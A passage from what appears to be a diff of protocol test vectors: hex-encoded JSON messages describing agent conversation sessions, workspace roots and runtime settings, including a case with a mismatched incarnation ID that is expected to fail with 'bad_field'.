32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303036222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303036222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031322c22746f6f6c556964223a32303031332c22776f726b7370616365476964223a32353031322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303037222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303037222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031342c22746f6f6c556964223a32303031352c22776f726b7370616365476964223a32353031342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303038222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303038222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031362c22746f6f6c556964223a32303031372c22776f726b7370616365476964223a32353031362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303039222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303039222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031382c22746f6f6c556964223a32303031392c22776f726b7370616365476964223a32353031382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303130222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303130222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032302c22746f6f6c556964223a32303032312c22776f726b7370616365476964223a32353032302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303131222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303131222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032322c22746f6f6c556964223a32303032332c22776f726b7370616365476964223a32353032322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303132222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303132222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032342c22746f6f6c556964223a32303032352c22776f726b7370616365476964223a32353032342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303133222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303133222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032362c22746f6f6c556964223a32303032372c22776f726b7370616365476964223a32353032362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303134222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303134222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032382c22746f6f6c556964223a32303032392c22776f726b7370616365476964223a32353032382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303135222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303135222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303033302c22746f6f6c556964223a32303033312c22776f726b7370616365476964223a32353033302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303136222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303136222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303033322c22746f6f6c556964223a32303033332c22776f726b7370616365476964223a32353033322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d58310101000001000000d41f00007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303030222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303030222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030322c22746f6f6c556964223a32303030332c22776f726b7370616365476964223a32353030322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030342c22746f6f6c556964223a32303030352c22776f726b7370616365476964223a32353030342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303033222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303033222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030362c22746f6f6c556964223a32303030372c22776f726b7370616365476964223a32353030362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303034222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303034222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030382c22746f6f6c556964223a32303030392c22776f726b7370616365476964223a32353030382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303035222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303035222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303036222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303036222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031322c22746f6f6c556964223a32303031332c22776f726b7370616365476964223a32353031322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303037222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303037222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031342c22746f6f6c556964223a32303031352c22776f726b7370616365476964223a32353031342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303038222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303038222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031362c22746f6f6c556964223a32303031372c22776f726b7370616365476964223a32353031362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303039222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303039222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031382c22746f6f6c556964223a32303031392c22776f726b7370616365476964223a32353031382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303130222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303130222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032302c22746f6f6c556964223a32303032312c22776f726b7370616365476964223a32353032302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303131222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303131222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032322c22746f6f6c556964223a32303032332c22776f726b7370616365476964223a32353032322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303132222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303132222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032342c22746f6f6c556964223a32303032352c22776f726b7370616365476964223a32353032342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303133222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303133222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032362c22746f6f6c556964223a32303032372c22776f726b7370616365476964223a32353032362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303134222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303134222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032382c22746f6f6c556964223a32303032392c22776f726b7370616365476964223a32353032382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303135222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303135222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303033302c22746f6f6c556964223a32303033312c22776f726b7370616365476964223a32353033302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303136222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303136222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303033322c22746f6f6c556964223a32303033332c22776f726b7370616365476964223a32353033322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-wrong-incarnation-in-item", "direction": "down", - "hex": "574d583101010000010000001a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d6f74686572222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000570600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d6f74686572222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726